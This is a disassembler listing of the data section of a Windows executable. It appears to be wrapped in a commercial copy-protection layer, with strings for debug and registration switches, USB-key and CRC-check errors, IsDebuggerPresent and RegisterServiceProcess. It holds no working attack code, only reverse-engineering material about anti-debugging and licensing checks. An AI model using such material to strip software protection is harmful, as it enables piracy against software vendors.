dword_4ED14C dd 77E77CCEh ; DATA XREF: ___crtGetStringTypeA_0+C5r
; ___crtGetStringTypeA_0+11Br ...
dword_4ED150 dd 77E78C81h ; DATA XREF: __lseek_0+4Fr
dword_4ED154 dd 77F5722Fh ; DATA XREF: ___sbh_alloc_new_region_0+28r
; sub_4CEEC3+110r ...
dword_4ED158 dd 77E79D8Ch ; DATA XREF: __NMSG_WRITE_0+14Ar
; __write_0+D8r ...
dword_4ED15C dd 77E79E34h ; DATA XREF: sub_4CC125+240r
; sub_4CCBF9+120r ...
dword_4ED160 dd 77E7C726h ; DATA XREF: sub_4CBEC9+11r
dword_4ED164 dd 77E76E0Bh ; DATA XREF: sub_4CBEC9+50r
dword_4ED168 dd 77E78406h ; DATA XREF: __ioinit_0+FFr
; __ioinit_0+166r
dword_4ED16C dd 77E79C3Dh ; DATA XREF: __ioinit_0+158r
; __NMSG_WRITE_0+143r
dword_4ED170 dd 77E7C931h ; DATA XREF: __ioinit_0+19Dr
dword_4ED174 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA_0+9r
dword_4ED178 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA_0:loc_4CBAA6r
; ___crtGetEnvironmentStringsA_0+E1r
dword_4ED17C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA_0+CEr
dword_4ED180 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA_0+11Fr
dword_4ED184 dd 77EB9A84h ; DATA XREF: __XcptFilter_0+138r
dword_4ED188 dd 77F51597h ; DATA XREF: sub_4CA2FB+60r
; sub_4CC125+2C5r ...
dword_4ED18C dd 77F516F8h ; DATA XREF: sub_4CA24A+74r
; sub_4CA3A2+6Cr ...
dword_4ED190 dd 77E7C486h ; DATA XREF: start+26r
dword_4ED194 dd 77E61608h ; DATA XREF: _time_0+17r
dword_4ED198 dd 77E76E3Dh ; DATA XREF: _time_0+6Cr __tzset_0+38r
dword_4ED19C dd 77F6183Eh ; DATA XREF: sub_4CF210r
dword_4ED1A0 dd 77E616B4h ; DATA XREF: _doexit_0+17r
dword_4ED1A4 dd 77E61BE6h ; DATA XREF: sub_4B3AA2+43r
; sub_4B3AA2+4Dr ...
dword_4ED1A8 dd 77F7E21Fh ; DATA XREF: sub_4B370A+10r
; sub_4B37DC+10r ...
dword_4ED1AC dd 77F7E300h ; DATA XREF: sub_4B370A+C6r
; sub_4B37DC+E8r ...
dword_4ED1B0 dd 77E7C657h ; DATA XREF: sub_4B36BD+25r
; .text:004B5B92r ...
dword_4ED1B4 dd 77E79908h ; DATA XREF: sub_4B3329+4Dr
; .text:004B9C53r
dword_4ED1B8 dd 77E80656h ; DATA XREF: sub_4B3329+53r
; .text:004B56E6r ...
dword_4ED1BC dd 77E79FC8h ; DATA XREF: sub_4B3329+A0r
; sub_4B3329+130r ...
dword_4ED1C0 dd 77E6BE92h ; DATA XREF: sub_4B3329+14Fr
dword_4ED1C4 dd 77E7A099h ; DATA XREF: sub_4B3329+21Er
; sub_4B3329+2BAr ...
dword_4ED1C8 dd 77E98BD8h ; DATA XREF: .text:004B9B80r
; sub_4BDF17+3Cr
dword_4ED1CC dd 77E6C10Bh ; DATA XREF: sub_4B3329+2D9r
dd 0
dword_4ED1D4 dd 77D47E92h ; DATA XREF: sub_4BE07A+40r
dword_4ED1D8 dd 77D47EC7h ; DATA XREF: sub_4BE034+38r
dword_4ED1DC dd 77D5DC39h ; DATA XREF: .text:004B7CD6r
; sub_4B82D2+22r
dword_4ED1E0 dd 77D5D390h ; DATA XREF: .text:004B7CEDr
; .text:004B7D41r
dword_4ED1E4 dd 77D5C347h ; DATA XREF: .text:004B7CFCr
dword_4ED1E8 dd 77D44200h ; DATA XREF: sub_4B78A3+390r
dword_4ED1EC dd 77D458EEh ; DATA XREF: sub_4B6F14+78r
dword_4ED1F0 dd 77D458FDh ; DATA XREF: sub_4B6F14+130r
dword_4ED1F4 dd 77D444FFh ; DATA XREF: sub_4B6F14+1F5r
dword_4ED1F8 dd 77D4932Ch ; DATA XREF: sub_4B6C08+1C6r
; sub_4B6F14+1C0r
dword_4ED1FC dd 77D477C0h ; DATA XREF: sub_4B6C08+1D0r
; sub_4B6C08+1E9r ...
dword_4ED200 dd 77D444F0h ; DATA XREF: sub_4B6C08+2CAr
; sub_4B7150+69r ...
dword_4ED204 dd 77D5BB6Ch ; DATA XREF: sub_4B60E5+27r
; sub_4B60E5+41r
dword_4ED208 dd 77D48AA8h ; DATA XREF: sub_4B60E5+3Ar
dword_4ED20C dd 77D5FA3Eh ; DATA XREF: sub_4B6060+44r
dword_4ED210 dd 77D47D27h ; DATA XREF: sub_4B6060+6Er
; sub_4B6C08+29Er
dword_4ED214 dd 77D47CB6h ; DATA XREF: sub_4B6060+78r
; sub_4B6C08+2AAr ...
dword_4ED218 dd 77D47250h ; DATA XREF: .text:004B56A9r
dword_4ED21C dd 77D4718Ch ; DATA XREF: .text:004B56BBr
dword_4ED220 dd 77D4BDCAh ; DATA XREF: .text:004B5830r
dword_4ED224 dd 77D6E7A8h ; DATA XREF: .text:004B5AAFr
; sub_4B78A3+5Cr ...
dword_4ED228 dd 77D49A11h ; DATA XREF: sub_4B45FB+1F6r
; sub_4B45FB+2A5r ...
dword_4ED22C dd 77D6ADD7h ; DATA XREF: sub_4B45CC+Er
; .text:004B604Fr ...
dword_4ED230 dd 77D4A712h ; DATA XREF: sub_4B40C4:loc_4B4429r
dword_4ED234 dd 77D70861h ; DATA XREF: sub_4C85D0r
dword_4ED238 dd 77D708BAh ; DATA XREF: sub_4C85CAr
dword_4ED23C dd 77D46F5Bh ; DATA XREF: sub_4B40C4+48Cr
; sub_4B6F14+230r ...
dword_4ED240 dd 77D47EE5h ; DATA XREF: sub_4B3F59+54r
; sub_4B3F59+FEr ...
dword_4ED244 dd 77D4B748h ; DATA XREF: sub_4B3F59+75r
dword_4ED248 dd 77D4AE4Ch ; DATA XREF: sub_4B3F59+B1r
dword_4ED24C dd 77D4DC11h ; DATA XREF: sub_4B3F59+11Fr
; sub_4B6C08+17Fr ...
dword_4ED250 dd 77D414D4h ; DATA XREF: sub_4B3F59+15Br
; sub_4B6C08+28Ar ...
dword_4ED254 dd 77D45CBCh ; DATA XREF: sub_4B3E69+Er
dword_4ED258 dd 77D45E37h ; DATA XREF: sub_4B3E69+85r
; sub_4B40C4+195r
dword_4ED25C dd 77D4702Fh ; DATA XREF: sub_4B3E69+D2r
; sub_4B40C4+2C4r ...
dword_4ED260 dd 77D43DD3h ; DATA XREF: sub_4B3AFF+45r
; sub_4B7150+A1r ...
dword_4ED264 dd 77D441F2h ; DATA XREF: sub_4B3AFF+4Fr
; sub_4B7150+ABr ...
dword_4ED268 dd 77D47627h ; DATA XREF: sub_4B3AFF+A4r
dword_4ED26C dd 77D47668h ; DATA XREF: sub_4B3AFF+14Fr
dword_4ED270 dd 77D704C7h ; DATA XREF: sub_4C85C4r
dword_4ED274 dd 77D44643h ; DATA XREF: sub_4B3AFF+1C3r
dword_4ED278 dd 77D442CFh ; DATA XREF: sub_4B3AFF+24Br
; sub_4B3AFF+2DFr ...
dword_4ED27C dd 77D45B19h ; DATA XREF: sub_4B3AA2+37r
; sub_4B3AFF+B6r ...
dword_4ED280 dd 77D46E60h ; DATA XREF: sub_4B3AFF+37r
; sub_4B7150+8Br
align 8
dword_4ED288 dd 0 ; DATA XREF: __cinit_0+1Fo
dd offset sub_4965CE
dd offset sub_4B3310
dd offset sub_4B73F0
dword_4ED298 dd 0 ; DATA XREF: __cinit_0+1Ao
dword_4ED29C dd 0 ; DATA XREF: __cinit_0+10o
dd offset ___initstdio_0
dd offset ___initmbctable_0
dword_4ED2A8 dd 0 ; DATA XREF: __cinit_0:loc_4C9213o
dword_4ED2AC dd 0 ; DATA XREF: _doexit_0+65o
dd offset ___endstdio_0
dword_4ED2B4 dd 0 ; DATA XREF: _doexit_0:loc_4C92B7o
dword_4ED2B8 dd 0 ; DATA XREF: _doexit_0+76o
dword_4ED2BC dd 0 ; DATA XREF: _doexit_0:loc_4C92C8o
dword_4ED2C0 dd 7 ; DATA XREF: sub_490060+Fw
; sub_490060+29w ...
a1_1_4 db '1.1.4',0 ; DATA XREF: .text:004902D9o
; sub_49034E+191o
align 4
dword_4ED2CC dd 0F7EE0CBAh ; DATA XREF: sub_4965D8+8r
; sub_4965D8+1Er ...
dword_4ED2D0 dd 0E607FAD2h ; DATA XREF: sub_4965D8+Er
; sub_4965D8+24r ...
dword_4ED2D4 dd 622D2A9Dh ; DATA XREF: sub_4965D8+3Br
; sub_4965D8+2CCr ...
dword_4ED2D8 dd 0C2336CAh ; DATA XREF: sub_4965D8+52r
; sub_4965D8+2FAr ...
dword_4ED2DC dd 5F8F530Fh ; DATA XREF: sub_4965D8+68r
; sub_4965D8+310r ...
dword_4ED2E0 dd 0DC50BDD8h ; DATA XREF: sub_4965D8+7Fr
; sub_4965D8+327r ...
dword_4ED2E4 dd 51E30F83h ; DATA XREF: sub_4965D8+96r
; sub_4965D8+33Er ...
dword_4ED2E8 dd 2123F0C8h ; DATA XREF: sub_4965D8+ACr
; sub_4965D8+354r ...
dword_4ED2EC dd 5D2C389Dh ; DATA XREF: sub_4965D8+C3r
; sub_4965D8+36Br ...
dword_4ED2F0 dd 335385D1h ; DATA XREF: sub_4965D8+DAr
; sub_4965D8+382r ...
dword_4ED2F4 dd 1497F840h ; DATA XREF: sub_4965D8+F0r
; sub_4965D8+398r ...
dword_4ED2F8 dd 0BA0CC46Fh ; DATA XREF: sub_4965D8+107r
; sub_4965D8+3AFr ...
dword_4ED2FC dd 44EC619h ; DATA XREF: sub_4965D8+11Er
; sub_4965D8+3C6r ...
dword_4ED300 dd 66007212h ; DATA XREF: sub_4965D8+134r
; sub_4965D8+3DCr ...
dword_4ED304 dd 8317F29Ah ; DATA XREF: sub_4965D8+14Br
; sub_4965D8+3F3r ...
dword_4ED308 dd 4D7A4B25h ; DATA XREF: sub_4965D8+162r
; sub_4965D8+40Ar ...
dword_4ED30C dd 0C55F0255h ; DATA XREF: sub_4965D8+178r
; sub_4965D8+420r ...
dword_4ED310 dd 6F82BEAFh ; DATA XREF: sub_4965D8+18Fr
; sub_4965D8+437r ...
dword_4ED314 dd 1935EA6Eh ; DATA XREF: sub_4965D8+1A6r
; sub_4965D8+44Er ...
dword_4ED318 dd 9E0267A3h ; DATA XREF: sub_4965D8+1BCr
; sub_4965D8+464r ...
dword_4ED31C dd 0FE7C0E83h ; DATA XREF: sub_4965D8+1D3r
; sub_4965D8+47Br ...
dword_4ED320 dd 0E08981C3h ; DATA XREF: sub_4965D8+1EAr
; sub_4965D8+492r ...
dword_4ED324 dd 9462B971h ; DATA XREF: sub_4965D8+200r
; sub_4965D8+4A8r ...
dword_4ED328 dd 373076C4h ; DATA XREF: sub_4965D8+217r
; sub_4965D8+4BFr ...
dword_4ED32C dd 0A1097BF5h ; DATA XREF: sub_4965D8+22Er
; sub_4965D8+4D6r ...
dword_4ED330 dd 6DED6A27h ; DATA XREF: sub_4965D8+244r
; sub_4965D8+4ECr ...
dword_4ED334 dd 4602C213h ; DATA XREF: sub_4965D8+25Br
; sub_4965D8+503r ...
dword_4ED338 dd 705C6118h ; DATA XREF: sub_4965D8+272r
; sub_4965D8+51Ar ...
dword_4ED33C dd 4D21B8F3h ; DATA XREF: sub_4965D8+288r
; sub_4965D8+530r ...
dword_4ED340 dd 74EC9266h ; DATA XREF: sub_4965D8+29Fr
; sub_4965D8+547r ...
aSystem_0 db 'System',0 ; DATA XREF: sub_4B3E69+9Co
; sub_4B40C4:loc_4B4314o
align 4
; wchar_t aSystem
aSystem: ; DATA XREF: sub_4B3E69+4Fo
; sub_4B40C4:loc_4B41E5o
unicode 0, <System>,0
align 4
aDdeProcessing db 'DDE Processing',0 ; DATA XREF: sub_4B3F59+14Do
align 4
aSwpdde_0 db 'SwPDDE',0 ; DATA XREF: sub_4B3F59:loc_4B401Bo
align 4
off_4ED374 dd offset dword_440044 ; DATA XREF: sub_4B3F59+A3o
aEProcessing:
unicode 0, <E Processing>,0
align 4
aSwpdde: ; DATA XREF: sub_4B3F59+18o
unicode 0, <SwPDDE>,0
align 4
dword_4ED3A4 dd 3Ch ; DATA XREF: sub_4B45FB+25Er
; WinMain(x,x,x,x)+A5w ...
dword_4ED3A8 dd 0CAFF41B7h ; DATA XREF: sub_497D6E+70r
; sub_49B14F+75r ...
dword_4ED3AC dd 0C7E94FBEh ; DATA XREF: sub_497D6E+76r
; sub_49B14F+7Br ...
dword_4ED3B0 dd 6FEA19C8h ; DATA XREF: sub_495329+95r
; sub_497F97+94r ...
dword_4ED3B4 dd 0FDB8715Ch ; DATA XREF: sub_495329+9Br
; sub_497F97+9Ar ...
dword_4ED3B8 dd 5AE0C9E3h ; DATA XREF: sub_4955CD+8Er
; sub_495835+B3r ...
dword_4ED3BC dd 8B361993h ; DATA XREF: sub_4955CD+94r
; sub_495835+B9r ...
dword_4ED3C0 dd 0D54319F3h ; DATA XREF: sub_496381+171r
; sub_497E12+157r ...
dword_4ED3C4 dd 0C73CAEF0h ; DATA XREF: sub_4953F2+97r
; sub_495743+BEr ...
dword_4ED3C8 dd 0CBD5A1BCh ; DATA XREF: sub_4953F2+9Dr
; sub_495743+C4r ...
dword_4ED3CC dd 0CCC1AD82h ; DATA XREF: sub_498DD8+ACr
; sub_49B5EE+7Cr ...
dword_4ED3D0 dd 2968373Ah ; DATA XREF: sub_496126+77r
; sub_498DD8+B2r ...
dword_4ED3D4 dd 0C32D5ED8h ; DATA XREF: sub_49591C+78r
; sub_495DD2+14Er ...
dword_4ED3D8 dd 33BBD77Ah ; DATA XREF: sub_49591C+7Er
; sub_495DD2+154r ...
dword_4ED3DC dd 6F6991EAh ; DATA XREF: sub_4959C8+77r
; sub_497C2D+71r ...
dword_4ED3E0 dd 51068F84h ; DATA XREF: sub_495547+52r
; sub_4959C8+7Dr ...
dword_4ED3E4 dd 0F41B764h ; DATA XREF: sub_495547+58r
; sub_499022+B9r ...
dword_4ED3E8 dd 0CBDF3817h ; DATA XREF: sub_495F54+A5r
; sub_49805F+4Er ...
dword_4ED3EC dd 473A5B30h ; DATA XREF: sub_495A73+A2r
; sub_495F54+ABr ...
dword_4ED3F0 dd 904E0791h ; DATA XREF: sub_4951DA+61r
; sub_495A73+A8r ...
dword_4ED3F4 dd 0F066217Fh ; DATA XREF: sub_4951DA+67r
; sub_495BCB+14Er ...
dword_4ED3F8 dd 2968373Ah ; DATA XREF: sub_495BCB+154r
; sub_49602D+CBr ...
dword_4ED3FC dd 0FF27961Bh ; DATA XREF: sub_497CCC+74r
; sub_49818A+7Cr ...
dword_4ED400 dd 621853BCh ; DATA XREF: sub_49526F+86r
; sub_4954BD+56r ...
dword_4ED404 dd 621853BCh ; DATA XREF: sub_49526F+8Cr
; sub_4954BD+5Cr ...
dword_4ED408 dd 0BB28A579h ; DATA XREF: sub_49568F+80r
; sub_495B49+54r ...
dword_4ED40C dd 5B71BA4Dh ; DATA XREF: sub_49568F+86r
; sub_4961D1+A5r ...
dword_4ED410 dd 0 ; DATA XREF: sub_4961D1+ABr
; sub_49961E+AFr ...
dword_4ED414 dd 0B7A31609h ; DATA XREF: sub_498423+B3r
; sub_49850A+8Ar ...
dword_4ED418 dd 0FE009A34h ; DATA XREF: sub_498423+B9r
; sub_49850A+90r ...
dword_4ED41C dd 57732361h ; DATA XREF: sub_49512C+7Ar
; sub_4980E0+76r ...
dword_4ED420 dd 2A63BFE8h ; DATA XREF: sub_49512C+80r
; sub_4980E0+7Cr ...
dword_4ED424 dd 0CE1854Ch ; DATA XREF: .text:004B9126r
; .text:004B9300r ...
dword_4ED428 dd 7D2FDA42h ; DATA XREF: .text:004B9132r
; .text:004B96A3r ...
dword_4ED42C dd 0C1052568h ; DATA XREF: .text:004BAA7Br
dword_4ED430 dd 635471A6h ; DATA XREF: .text:004BAAABr
dd 1395EE46h, 0E0298DFCh, 7E8FE86Ah, 0
off_4ED444 dd offset aGeneralExtract ; DATA XREF: sub_4B45B1+8r
; "General extraction error"
dd offset aCannotLocatePr ; "Cannot locate protected program data"
dd offset aCannotAllocate ; "Cannot allocate memory for DLL"
dd offset aCannotFindImpo ; "Cannot find import; DLL may be missing,"...
dd offset aCannotSetAlloc ; "Cannot set allocations"
dd offset aDllInitializat ; "DLL initialization failed"
dd offset aFailedToExec_1 ; "Failed to execute target process"
dd offset aRelocationsErr ; "Relocations error"
dd offset aFailedCrcCheck ; "Failed CRC check"
dd offset aRequiredUsbKey ; "Required USB Key not found"
aRequiredUsbKey db 'Required USB Key not found',0 ; DATA XREF: .data:004ED468o
align 4
aFailedCrcCheck db 'Failed CRC check',0 ; DATA XREF: .data:004ED464o
align 4
aRelocationsErr db 'Relocations error',0 ; DATA XREF: .data:004ED460o
align 10h
aFailedToExec_1 db 'Failed to execute target process',0 ; DATA XREF: .data:004ED45Co
align 4
aDllInitializat db 'DLL initialization failed',0 ; DATA XREF: .data:004ED458o
align 10h
aCannotSetAlloc db 'Cannot set allocations',0 ; DATA XREF: .data:004ED454o
align 4
aCannotFindImpo db 'Cannot find import; DLL may be missing, corrupt, or wrong version'
; DATA XREF: .data:004ED450o
db 0
align 4
aCannotAllocate db 'Cannot allocate memory for DLL',0 ; DATA XREF: .data:004ED44Co
align 4
aCannotLocatePr db 'Cannot locate protected program data',0 ; DATA XREF: .data:004ED448o
align 4
aGeneralExtract db 'General extraction error',0 ; DATA XREF: .data:off_4ED444o
align 10h
aInsufficientMe db 'Insufficient memory!',0 ; DATA XREF: sub_4B45CC+7o
align 4
aSetfunctionadd db 'SetFunctionAddresses',0 ; DATA XREF: sub_4B45FB:loc_4B4718o
align 10h
; char aP[]
aP: ; DATA XREF: sub_4B45FB+92o
unicode 0, <p>,0
; char aS_8[]
aS_8 db 's',0 ; DATA XREF: sub_4B45FB+76o
align 4
aPdata000 db 'PDATA000',0 ; DATA XREF: sub_4B48AD+96o
align 4
aArmsplashoff db 'ARMSPLASHOFF',0 ; DATA XREF: sub_4B4965+13Ao
align 4
; char aFileSFunctionS[]
aFileSFunctionS db 'File "%s", function "%s"',0 ; DATA XREF: sub_4B5417+150o
align 10h
; char aFileSOrdinalD[]
aFileSOrdinalD db 'File "%s", ordinal %d',0 ; DATA XREF: sub_4B5417+100o
align 4
; char aFileSErrorD[]
aFileSErrorD db 'File "%s", error %d',0 ; DATA XREF: sub_4B5417+83o
aErrorCodeD db '(Error code %d)',0 ; DATA XREF: .text:004B5D6Co
; char aXDaf[]
aXDaf db '%X:DAF',0 ; DATA XREF: .text:004B5D16o
; sub_4B5E8E+47o
align 4
aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: .text:004B5B4Fo
; sub_4B5E8E+21o
align 4
aKernel32_0 db 'Kernel32',0 ; DATA XREF: .text:004B5B35o
; sub_4B5E8E+Do ...
align 4
aLocationXebErr db '(Location XEB, error code %d)',0 ; DATA XREF: .text:004B5A8Ao
align 4
a_padD db '_PAD%d',0 ; DATA XREF: .text:004B5963o
align 4
a_pad64 db '_PAD64',0 ; DATA XREF: .text:004B5908o
align 4
aMainclass db 'MainClass',0 ; DATA XREF: .text:004B582Bo
align 10h
; char a08x[]
a08x db '%08X',0 ; DATA XREF: .text:004B57E9o
; sub_4B6C08+2D6o
align 4
aRn08x db 'RN%08X',0 ; DATA XREF: .text:004B575Do
align 10h
aXDa08x db '%X::DA%08X',0 ; DATA XREF: .text:004B56EDo
; .text:004B5AEFo ...
align 4
aRegisterserv_0 db 'RegisterServiceProcess',0 ; DATA XREF: sub_4B5E35+1Co
align 4
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_4B5E35+Co
align 4
; char asc_4ED704[]
asc_4ED704: ; DATA XREF: .text:004B6016o
; WinMain(x,x,x,x)+35Do
dw 0Ah
unicode 0, <>,0
aInitializedlla db 'INITIALIZEDLLADDR',0 ; DATA XREF: .text:004B5F67o
align 4
off_4ED71C dd offset off_4ED728 ; DATA XREF: sub_4B6138+105r
; sub_4B6138+11Ar
dd offset dword_4ED724
dword_4ED724 dd 20h ; DATA XREF: .data:004ED720o
off_4ED728 dd offset byte_53004D ; DATA XREF: .data:off_4ED71Co
dd offset dword_530020
aAnsSerif:
unicode 0, <ans Serif>,0
aLoading___ db 'Loading...',0 ; DATA XREF: sub_4B60E5+6o
align 10h
; char aArmdebug[]
aArmdebug db 'ARMDEBUG=',0 ; DATA XREF: WinMain(x,x,x,x)+2FCo
align 4
aQuietexit db 'QUIETEXIT',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6659o
align 4
aHwchangelog db 'HWCHANGELOG',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6638o
aShownetusers db 'SHOWNETUSERS',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6617o
align 4
aQuietunregiste db 'QUIETUNREGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B65F3o
aUnregister db 'UNREGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B65CFo
align 10h
aInfo db 'INFO',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B65ABo
align 4
aFixclock db 'FIXCLOCK',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6587o
align 4
aTransfer db 'TRANSFER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6563o
align 10h
aQuietregister db 'QUIETREGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B652Eo
align 10h
aRegister db 'REGISTER',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B64F9o
align 4
aDown db 'DOWN',0 ; DATA XREF: WinMain(x,x,x,x):loc_4B6468o
align 4
asc_4ED7E4: ; DATA XREF: WinMain(x,x,x,x)+C4o
unicode 0, <X>,0
; char aServer[]
aServer db 'SERVER',0 ; DATA XREF: WinMain(x,x,x,x)+85o
align 10h
aDisplay_0 db 'DISPLAY',0 ; DATA XREF: sub_4B6828+2E0o
aLoadingwindow db 'LOADINGWINDOW',0 ; DATA XREF: sub_4B6C08+2F1o
align 4
aArbaseTestBitm db 'ArBase Test Bitmap Window',0 ; DATA XREF: sub_4B6C08+13o
align 4
aArbaseBitmapWi db 'ArBase Bitmap Window',0 ; DATA XREF: sub_4B6C08+9o
align 4
dword_4ED83C dd 1 ; DATA XREF: .text:004BB6BEr
; .text:004BB6C7w
dword_4ED840 dd 3 ; DATA XREF: .text:loc_4B979Aw
; .text:loc_4B97B6r ...
off_4ED844 dd offset sub_4A363D ; DATA XREF: .text:004BB43Er
dd offset sub_4A373A
dd offset sub_4A3837
dd offset sub_4A3934
dd offset sub_4A3A31
dd offset sub_4A3B2E
dd offset sub_4A3C2B
dd offset sub_4A3D28
dd offset sub_4A3E25
dd offset sub_4A3F22
dd offset sub_4A401F
dd offset sub_4A411C
dd offset sub_4A4219
dd offset sub_4A4316
dd offset sub_4A4413
dd offset sub_4A4510
dd offset sub_4A460D
dd offset sub_4A470A
dd offset sub_4A4807
dd offset sub_4A4904
dd offset sub_4A4A01
dd offset sub_4A4AFE
dd offset sub_4A4BF8
dd offset sub_4A4CF5
dd offset sub_4A4DF2
dd offset sub_4A4EEF
dd offset sub_4A4FEC
dd offset sub_4A50E9
dd offset sub_4A51E6
dd offset sub_4A52E3
dd offset sub_4A53E0
dd offset sub_4A54DD
dd offset sub_4A55DA
dd offset sub_4A56D7
dd offset sub_4A57D4
dd offset sub_4A58D0
dd offset sub_4A59CA
dd offset sub_4A5AC7
dd offset sub_4A5BC4
dd offset sub_4A5CC1
dd offset sub_4A5DBE
dd offset sub_4A5EBB
dd offset sub_4A5FB8
dd offset sub_4A60B5
dd offset sub_4A61B2
dd offset sub_4A62AF
dd offset sub_4A63AC
dd offset sub_4A64A9
dd offset sub_4A65A6
dd offset sub_4A66A3
dd offset sub_4A67A0
dd offset sub_4A689D
dd offset sub_4A699A
dd offset sub_4A6A96
dd offset sub_4A6B93
dd offset sub_4A6C8F
dd offset sub_4A6D8C
dd offset sub_4A6E89
dd offset sub_4A6F86
dd offset sub_4A7083
dd offset sub_4A7180
dd offset sub_4A727D
dd offset sub_4A737A
dd offset sub_4A7477
dd offset sub_4A7574
dd offset sub_4A7671
dd offset sub_4A776E
dd offset sub_4A786B
dd offset sub_4A7968
dd offset sub_4A7A65
dd offset sub_4A7B62
dd offset sub_4A7C5F
dd offset sub_4A7D5C
dd offset sub_4A7E58
dd offset sub_4A7F55
dd offset sub_4A8052
dd offset sub_4A814F
dd offset sub_4A824C
dd offset sub_4A8349
dd offset sub_4A8446
dd offset sub_4A8543
dd offset sub_4A8640
dd offset sub_4A873D
dd offset sub_4A883A
dd offset sub_4A8937
dd offset sub_4A8A34
dd offset sub_4A8B31
dd offset sub_4A8C2E
dd offset sub_4A8D2B
dd offset sub_4A8E28
dd offset sub_4A8F24
dd offset sub_4A9021
dd offset sub_4A911E
dd offset sub_4A921B
dd offset sub_4A9318
dd offset sub_4A9414
dd offset sub_4A9511
dd offset sub_4A960B
dd offset sub_4A9708
dd offset sub_4A9805
dd offset sub_4A9902
dd offset sub_4A99FE
dd offset sub_4A9AFB
dd offset sub_4A9BF7
dd offset sub_4A9CF4
dd offset sub_4A9DF1
dd offset sub_4A9EEE
dd offset sub_4A9FEB
dd offset sub_4AA0E8
dd offset sub_4AA1E5
dd offset sub_4AA2E2
dd offset sub_4AA3DF
dd offset sub_4AA4DC
dd offset sub_4AA5D9
dd offset sub_4AA6D6
dd offset sub_4AA7D3
dd offset sub_4AA8D0
dd offset sub_4AA9CD
dd offset sub_4AAACA
dd offset sub_4AABC7
dd offset sub_4AACC4
dd offset sub_4AADC1
dd offset sub_4AAEBE
dd offset sub_4AAFBB
dd offset sub_4AB0B8
dd offset sub_4AB1B5
dd offset sub_4AB2B2
dd offset sub_4AB3AF
dd offset sub_4AB4AC
dd offset sub_4AB5A9
dd offset sub_4AB6A6
dd offset sub_4AB7A3
dd offset sub_4AB8A0
dd offset sub_4AB99D
dd offset sub_4ABA9A
dd offset sub_4ABB97
dd offset sub_4ABC94
dd offset sub_4ABD91
dd offset sub_4ABE8E
dd offset sub_4ABF8B
dd offset sub_4AC088
dd offset sub_4AC185
dd offset sub_4AC282
dd offset sub_4AC37F
dd offset sub_4AC47C
dd offset sub_4AC576
dd offset sub_4AC673
dd offset sub_4AC770
dd offset sub_4AC86D
dd offset sub_4AC96A
dd offset sub_4ACA67
dd offset sub_4ACB64
dd offset sub_4ACC61
dd offset sub_4ACD5E
dd offset sub_4ACE5B
dd offset sub_4ACF58
dd offset sub_4AD055
dd offset sub_4AD152
dd offset sub_4AD24C
dd offset sub_4AD349
dd offset sub_4AD446
dd offset sub_4AD543
dd offset sub_4AD640
dd offset sub_4AD73D
dd offset sub_4AD839
dd offset sub_4AD936
dd offset sub_4ADA33
dd offset sub_4ADB30
dd offset sub_4ADC2D
dd offset sub_4ADD2A
dd offset sub_4ADE27
dd offset sub_4ADF24
dd offset sub_4AE021
dd offset sub_4AE11E
dd offset sub_4AE21B
dd offset sub_4AE318
dd offset sub_4AE415
dd offset sub_4AE511
dd offset sub_4AE60E
dd offset sub_4AE70B
dd offset sub_4AE808
dd offset sub_4AE905
dd offset sub_4AEA02
dd offset sub_4AEAFF
dd offset sub_4AEBFC
dd offset sub_4AECF9
dd offset sub_4AEDF6
dd offset sub_4AEEF3
dd offset sub_4AEFF0
dd offset sub_4AF0ED
dd offset sub_4AF1EA
dd offset sub_4AF2E7
dd offset sub_4AF3E4
dd offset sub_4AF4E1
dd offset sub_4AF5DE
dd offset sub_4AF6DB
dd offset sub_4AF7D8
dd offset sub_4AF8D5
dd offset sub_4AF9CF
dd offset sub_4AFACC
dd offset sub_4AFBC9
dd offset sub_4AFCC6
dd offset sub_4AFDC3
dd offset sub_4AFEC0
dd offset sub_4AFFBD
dd offset sub_4B00B9
dd offset sub_4B01B6
dd offset sub_4B02B3
dd offset sub_4B03B0
dd offset sub_4B04AD
dd offset sub_4B05AA
dd offset sub_4B06A7
dd offset sub_4B07A4
dd offset sub_4B089E
dd offset sub_4B099B
dd offset sub_4B0A98
dd offset sub_4B0B92
dd offset sub_4B0C8F
dd offset sub_4B0D8C
dd offset sub_4B0E89
dd offset sub_4B0F86
dd offset sub_4B1083
dd offset sub_4B1180
dd offset sub_4B127D
dd offset sub_4B137A
dd offset sub_4B1477
dd offset sub_4B1574
dd offset sub_4B1671
dd offset sub_4B176B
dd offset sub_4B1868
dd offset sub_4B1965
dd offset sub_4B1A62
dd offset sub_4B1B5F
dd offset sub_4B1C5C
dd offset sub_4B1D59
dd offset sub_4B1E56
dd offset sub_4B1F53
dd offset sub_4B204F
dd offset sub_4B214C
dd offset sub_4B2248
dd offset sub_4B2345
dd offset sub_4B243F
dd offset sub_4B253C
dd offset sub_4B2639
dd offset sub_4B2736
dd offset sub_4B2833
dd offset sub_4B292D
dd offset sub_4B2A2A
dd offset sub_4B2B27
dd offset sub_4B2C23
dd offset sub_4B2D20
dd offset sub_4B2E1D
dd offset sub_4B2F1A
dd offset sub_4B3017
dd offset sub_4B3114
dd offset sub_4B3211
byte_4EDC44 db 1 ; DATA XREF: .text:004BB8FBr
; .text:004BB909w
align 4
aShutdown db 'Shutdown',0 ; DATA XREF: .text:004B7CCDo
; .text:004B7CF3o ...
align 4
aCQqCg db '—šŸŸœœ–ƒÓ',0
align 10h
aCQqRbctzc db '—šŸŸœ–’‡–Ó',0
align 10h
aUnicode db '(Unicode) ',0 ; DATA XREF: .text:004BBF4Do
align 4
aErrorAccessVio db 'Error: Access violation at 0x%08X (tried to %s 0x%08X), program t'
; DATA XREF: .text:004BA9D8o
db 'erminated.',0
